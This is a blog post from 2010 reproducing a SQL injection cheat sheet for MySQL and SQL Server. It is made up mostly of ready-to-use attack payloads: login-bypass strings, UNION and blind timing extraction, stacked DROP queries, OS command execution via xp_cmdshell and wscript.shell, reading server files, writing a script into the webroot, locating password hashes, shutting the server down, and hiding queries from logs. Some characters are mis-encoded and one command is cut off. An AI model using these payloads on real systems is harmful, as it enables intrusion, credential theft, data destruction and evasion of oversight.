Saturday, August 7, 2010

SQL Cheat Sheet tutorial

Currently only for MySQL and Microsoft SQL Server। Most of the samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and SQL sentences.
Samples are provided to allow reader to get basic idea of a potential attack.
* M : MySQL
* S : SQL Server
* O : Oracle
* + : Possibly all other databases



Examples;
(MS) MySQL and SQL Server etc.
(M*S) Only in some versions of MySQL or special conditions see related note and SQL Server
Syntax Reference with Sample Basic Attacks
Ending / Commenting Out / Line Comments Queries
Line Comments

(Comments rest of the query)
Line comments are generally useful for ignoring rest of the query so you don¡¯t have to deal with fixing rest of the query.
* — (SM)
DROP sampletable;–

* # (M)
DROP sampletable;#

Sample SQL Injection Attacks
* Username: admin’–
* SELECT * FROM members WHERE username = ‘admin’–’ AND password = ‘password’
This is going to log you as admin user, because rest of the SQL query will be ignored.

Inline Comments
Comments rest of the query by not closing them or use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.
* /*Comment Here*/ (SM)
o DROP/*comment*/sampletable
o DR/**/OP/*bypass blacklisting*/sampletable
o SELECT/*avoid-spaces*/password/**/FROM/**/Members

* /*! MYSQL Special SQL */ (M)
This is a special comment syntax for MySQL. It¡¯s perfect for detecting MySQL version. If you put a code into this comments it¡¯s going to execute in MySQL. Also you can use this to execute some code only if the server is higher than supplied version.

SELECT /*!32302 1/0, */ 1 FROM tablename
Sample SQL Injection Attacks
* ID: /*!32302 10*/
* ID: 10
You will get the same response if the MySQL version is higher than 3.23.02

Stacking Queries
Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.
* ; (S)
SELECT * FROM members; DROP members–

Ends a query and starts a new one.
*About MySQL and PHP;
To clarify some issues;
PHP - MySQL doesn’t support stacked queries, Java doesn’t support stacked queries (I’m sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it¡¯s not possible to execute second query in PHP-MySQL applications or maybe MySQL clients support this, not quite sure. Can someone clarify ?
Sample SQL Injection Attacks

* ID: 10;DROP members –
* SELECT * FROM products WHERE id = 10; DROP members–

This will run DROP members SQL sentence after normal SQL Query.
If Statements

Get response based on a if statement is one of the key points of Blind SQL Injection and can be very useful to test simple stuff.
MySQL If Statement

* IF(condition,true-part,false-part) (M)
SELECT IF(1=1,’true’,'false’)

SQL Server If Statement
* IF contidion true-part ELSE false-part (S)
IF (1=1) SELECT ‘true’ ELSE SELECT ‘false’

Sample SQL Injection Attacks
if ((select user) = ’sa’ OR (select user) = ‘dbo’) select 1 else select 1/0 (S)
This will throw an divide by zero error if current logged user is not “sa” or “dbo”.
Using Integers

Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.
* 0xHEXNUMBER (SM)
You can write hex like these;

SELECT CHAR(0×66) (S)
SELECT 0×5045 (this is not an integer it will be a string from Hex) (M)
SELECT 0×50 + 0×45 (this is integer now!) (M)

String Operations
String related operations. This can be quite useful to build up injection which are not using any quotes, bypass any other black listing or determine database.
String Concatenation

* + (S)
SELECT login + ‘-’ + password FROM members

* || (*MO)
SELECT login || ‘-’ || password FROM members

*About MySQL `||`;
If MySQL is running in ANSI mode it¡¯s going to work but otherwise MySQL accept it as `logical operator` it¡¯ll return 0. Better way to do it is using CONCAT() function in MySQL.

* CONCAT(str1, str2, str3, …) (M)
Concatenate supplied strings.
SELECT CONCAT(login, password) FROM members

Strings without Quotes
These are some direct ways to using strings but it¡¯s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.
* 0×457578 (M) - Hex Representation of string
SELECT 0×457578
This will be selected as string in MySQL.

* Using CONCAT() in MySQL
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
This will return ¡®KLM¡¯.

* SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
This will return ¡®KLM¡¯.

String Modification & Related
* ASCII() (SM)
Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.

SELECT ASCII(’a')
* CHAR() (SM)
Convert an integer of ASCII .

SELECT CHAR(64)
UNION ¨C Fixing Language Issues
While exploiting union injections sometimes you will get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to bypass this problem. It’s rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.
* SQL Server (S)
Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one - check out SQL Server documentation.

* MySQL (M)
Hex() for every possible issue

Login Screen (SMO+)
SQL Injection 101, Login tricks

* admin’ –
* admin’ #
* admin’/*
* ‘ or 1=1–
* ‘ or 1=1#
* ‘ or 1=1/*
* ‘) or ‘1′=’1–
* ‘) or (’1′=’1–
* etc….

* Login as different user (SM*)
‘ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1–

*Old versions of MySQL doesn’t support union queries
Error Based - Find Columns Names
Finding Column Names with HAVING BY - Error Based (S)

In the same order,
* ‘ HAVING 1=1 –
* ‘ GROUP BY table.columnfromerror1 HAVING 1=1 –
* ‘ GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 –
* ‘ GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 — and so on
* If you are not getting any more error then it’s done.

Finding how many columns in SELECT query by ORDER BY (MSO+)
Finding column number by ORDER BY can speed up the UNION SQL Injection process.
* ORDER BY 1–
* ORDER BY 2–
* ORDER BY N– so on
* Keep going until get an error. Error means you found the number of selected columns.

Data types, UNION, etc.
Hints,

* Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct.
* To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
* Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.
o Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)

Finding Column Type
* ‘ union select sum(columntofind) from users– (S)
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.

If you are not getting error it means column is numeric.
* Also you can use CAST() or CONVERT()
o SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL–

* 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 ¨C-
No Error - Syntax is right. MS SQL Server Used. Proceeding.

* 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 ¨C-
No Error ¨C First column is an integer.

* 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 –
Error! ¨C Second column is not an integer.

* 11223344) UNION SELECT 1,¡¯2¡¯,NULL,NULL WHERE 1=2 ¨C-
No Error ¨C Second column is a string.

* 11223344) UNION SELECT 1,¡¯2¡¯,3,NULL WHERE 1=2 ¨C-
Error! ¨C Third column is not an integer. …

Microsoft OLE DB Provider for SQL Server error ‘80040e07′
Explicit conversion from data type int to image is not allowed.

You¡¯ll get convert() errors before union target errors ! So start with convert() then union
Simple Insert (MSO+)
‘; insert into users values( 666, ‘attacker’, ‘foobar’, 0xffff )–
Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes

@@version (MS)
Version of database and more details for SQL Server. It’s a constant. You can just select it like any other column, you don’t need to supply table name. Also you can use insert, update statements or in functions.

INSERT INTO members(id, user, pass) VALUES(1, ”+SUBSTRING(@@version,1,10) ,10)
Bulk Insert (S)

Insert a file content to a table. If you don’t know internal path of web application you can read IIS (IIS 6 only) metabase file (%systemroot%system32inetsrvMetaBase.xml) and then search in it to identify application path.
1. Create table foo( line varchar(8000) )
2. bulk insert foo from ‘c:inetpubwwwrootlogin.asp’
3. Drop temp table, and repeat for another file.

BCP (S)
Write text file. Login Credentials are required to use this function.
bcp “SELECT * FROM test..foo” queryout c:inetpubwwwrootruncommand.asp -c -Slocalhost -Usa -Pfoobar
VBS, WSH in SQL Server (S)

You can use VBS, WSH scripting in SQL Server because of ActiveX support.
declare @o int
exec sp_oacreate ‘wscript.shell’, @o out
exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’
Username: ‘; declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’ –
Executing system commands, xp_cmdshell (S)

Well known trick, By default it’s disabled in SQL Server 2005. You need to have admin access.
EXEC master.dbo.xp_cmdshell ‘cmd.exe dir c:’
Simple ping check (configure your firewall or sniffer to identify request before launch it),
EXEC master.dbo.xp_cmdshell ‘ping
You can not read results directly from error or union or something else.
Some Special Tables in SQL Server (S)

* Error Messages
master..sysmessages

* Linked Servers
master..sysservers

* Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )
SQL Server 2000: masters..sysxlogins
SQL Server 2005 : sys.sql_logins

More Stored Procedures (S)
Stored Procedures

1. Cmd Execute (xp_cmdshell)
exec master..xp_cmdshell ‘dir’

2. Registry Stuff (xp_regread)
1. xp_regaddmultistring
2. xp_regdeletekey
3. xp_regdeletevalue
4. xp_regenumkeys
5. xp_regenumvalues
6. xp_regread
7. xp_regremovemultistring
8. xp_regwrite
exec xp_regread HKEY_LOCAL_MACHINE, ‘SYSTEMCurrentControlSetServiceslanmanserverparame ters’, ‘nullsessionshares’
exec xp_regenumvalues HKEY_LOCAL_MACHINE, ‘SYSTEMCurrentControlSetServicessnmpparametersvali dcommunities’

3. Managing Services (xp_servicecontrol)
4. Medias (xp_availablemedia)
5. ODBC Resources (xp_enumdsn)
6. Login mode (xp_loginconfig)
7. Creating Cab Files (xp_makecab)
8. Domain Enumeration (xp_ntsec_enumdomains)
9. Process Killing (need PID) (xp_terminate_process)
10. Add new procedure (virtually you can execute whatever you want)
sp_addextendedproc ¡®xp_webserver¡¯, ¡®c:tempx.dll¡¯
exec xp_webserver
11. Write text file to a UNC or an internal path (sp_makewebtask)

MSSQL Bulk Notes
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
DECLARE @result int; EXEC @result = xp_cmdshell ‘dir *.exe’;IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)

INSERT tbl EXEC master..xp_cmdshell OSQL /Q”DBCC SHOWCONTIG”
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx
You can not use sub selects in SQL Server Insert queries.
SQL Injection in LIMIT (M) or ORDER (MSO)

SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,’x'/*,10 ;
If injection is in second limit you can comment it out or use in your union injection
Shutdown SQL Server (S)

When you really pissed off, ‘;shutdown –
Finding Database Structure in SQL Server (S)
Getting User defined Tables

SELECT name FROM sysobjects WHERE xtype = ‘U’
Getting Column Names

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = ‘tablenameforcolumnnames’)
Moving records (S)

* Modify WHERE and use NOT IN or NOT EXIST,
… WHERE users NOT IN (’First User’, ‘Second User’)
SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) — very good one

* Using Dirty Tricks
SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int

Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype=’U’ and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = ‘U’) as p where p.x=21
Fast way to extract data from Error Based SQL Injections in SQL Server (S)
‘;BEGIN DECLARE @rt varchar(8000) SET @rd=’:’ SELECT @rd=@rd+’ ‘+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = ‘MEMBERS’) AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;–

Detailed Article : Fast way to extract data from Error Based SQL Injections
Check out references for Advanced SQL Injection by Chris Anley.
Waiting For Blind SQL Injections

First of all use this if it’s really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.
WAIT FOR DELAY (S)

This is just like sleep, wait for spesified time. CPU safe way to make database wait.
WAITFOR DELAY ‘0:0:10′–
Also you can use fractions like this,
WAITFOR DELAY ‘0:0:0.51′
Real World Samples

* Are we ’sa’ ?
if (select user) = ’sa’ waitfor delay ‘0:0:10′

BENCHMARK (M)
Basically we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!
BENCHMARK(howmanytimes, do this)
Real World Samples

* Are we root ? woot!
IF EXISTS (SELECT * FROM users WHERE username = ‘root’) BENCHMARK(1000000000,MD5(1))

* Check Table exist in MySQL
IF (SELECT * FROM login) BENCHMARK(1000000000,MD5(1))

Covering Tracks
SQL Server -sp_password log bypass (S)

SQL Server don’t log queries which includes sp_password for security reasons(!). So if you add –sp_password to your queries it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it’s possible)
Clear SQL Injection Tests

These tests are simply good for blind sql injection and silent attacks.
1. product.asp?id=4 (SMO)
1. product.asp?id=5-1
2. product.asp?id=4 OR 1=1

2. product.asp?name=Book
1. product.asp?name=Bo¡¯+¡¯ok
2. product.asp?name=Bo¡¯ || ¡¯ok (OM)
3. product.asp?name=Book¡¯ OR ¡®x¡¯=¡¯x

Some Extra MySQL Notes
* Sub Queries are working only MySQL 4.1+
* Users
o SELECT User,Password FROM mysql.user;
* SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)=’2′,BENCHMARK(100000,SH A1(1)),0) User,Password FROM mysql.user WHERE User = ¡®root¡¯;
* SELECT … INTO DUMPFILE
o Write query into a new file (can not modify existing files)
* UDF Function
o create function LockWorkStation returns integer soname ‘user32′;
o select LockWorkStation();
o create function ExitProcess returns integer soname ‘kernel32′;
o select exitprocess();
* SELECT USER();
* SELECT password,USER() FROM mysql.user;
* First byte of admin hash
o SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
* Read File
o query.php?user=1+union+select+load_file(0×63…),1 ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1,1
* MySQL Load Data inifile
o By default it¡¯s not avaliable !
+ create table foo( line blob );
load data infile ‘c:/boot.ini’ into table foo;
select * from foo;
* More Timing in MySQL
* select benchmark( 500000, sha1( ‘test’ ) );
* query.php?user=1+union+select+benchmark(500000,sha 1 (0×414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1
* select if( user() like ‘root@%’, benchmark(100000,sha1(’test’)), ‘false’ );
Enumeration data, Guessed Brute Force
+ select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1(’test’)), ‘false’ );

Potentially Usefull Functions
MD5()
SHA1()
CHAR()
PASSWORD()
ENCODE()
COMPRESS()
BENCHMARK()
ROW_COUNT()
SCHEMA()
VERSION()
Second Order SQL Injections

Basicly you put an SQL Injection to some place and expect it’s unfiltered in another action. This is common hidden layer problem.
Name : ‘ + (SELECT TOP 1 password FROM users ) + ‘
Email : [email protected]

If application is using name field in an unsafe steored procedure or function, process etc. then it will insert first users password as your name etc.
References

Since these notes collected from several different resources within several years and personal experiences may I missed some references. If you believe I missed yours or someone else then drop me an email, I’ll update it as soon as possible.
* Lots of Stuff
o Advanced SQL Injection In SQL Applications, Chris Anley
o More Advanced SQL Injection In SQL Applications, Chris Anley
o Blindfolded SQL Injection, Ofer Maor ¨C Amichai Shulman
o Hackproofing MySQL, Chris Anley
o Database Hacker’s Handbook, David Litchfield, Chris Anley, John Heasman, Bill Grindlay
o Upstairs Team!

* MSSQL Related
o MSSQL Operators - http://msdn2.microsoft.com/en-us/lib…6(SQL.80).aspx
o Transact-SQL Reference - http://msdn2.microsoft.com/en-us/lib…2(SQL.80).aspx
o String Functions (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms181984.aspx
o List of MSSQL Server Collation Names - http://msdn2.microsoft.com/en-us/library/ms180175.aspx
o MSSQL Server 2005 Login Information and some other functions : Sumit Siddharth

* MySQL Related
o Comments : http://dev.mysql.com/doc/
o Control Flows - http://dev.mysql.com/doc/refman/5.0/…functions.html
o MySQL Gotchas - http://sql-info.de/mysql/gotchas.htm

#############################################################
--------------------------------------------------------------------------------------------------
........................................................................................................................

0 comments:

Post a Comment